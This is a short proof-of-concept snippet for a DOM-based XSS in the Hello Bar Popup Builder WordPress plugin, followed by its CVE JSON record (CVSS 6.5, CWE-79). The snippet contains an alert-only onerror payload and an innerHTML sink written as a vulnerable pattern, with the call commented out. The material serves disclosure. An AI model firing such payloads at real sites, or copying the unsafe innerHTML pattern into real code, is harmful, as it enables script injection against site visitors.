CVE-2026-39666

<!-- PoC for CVE-2026-39666 DOM-based XSS Description: This script demonstrates how a payload could be injected into a vulnerable DOM element if input sanitization is missing. --> <script> // Simulate the vulnerable parameter from the URL // Example: https://target.com/?vulnerable_param=<img src=x onerror=alert(1)> let maliciousPayload = '<img src=x onerror=alert(\'CVE-2026-39666 XSS\')>'; // In a real vulnerable scenario, the plugin might take a parameter and // insert it directly into the DOM without using textContent or proper encoding. function vulnerableSink(input) { // VULNERABLE CODE PATTERN: Direct innerHTML assignment document.getElementById('hellobar-container').innerHTML = input; } // Execution simulation // This would execute the alert box in the victim's browser console.log("Attempting to trigger XSS..."); // vulnerableSink(maliciousPayload); </script> <div id="hellobar-container">Loading...</div>

{"cve": {"id": "CVE-2026-39666", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:37.893", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in telepathy Hello Bar Popup Builder hellobar allows DOM-Based XSS.This issue affects Hello Bar Popup Builder: from n/a through <= 1.5.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/hellobar/vulnerability/wordpress-hello-bar-popup-builder-plugin-1-5-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}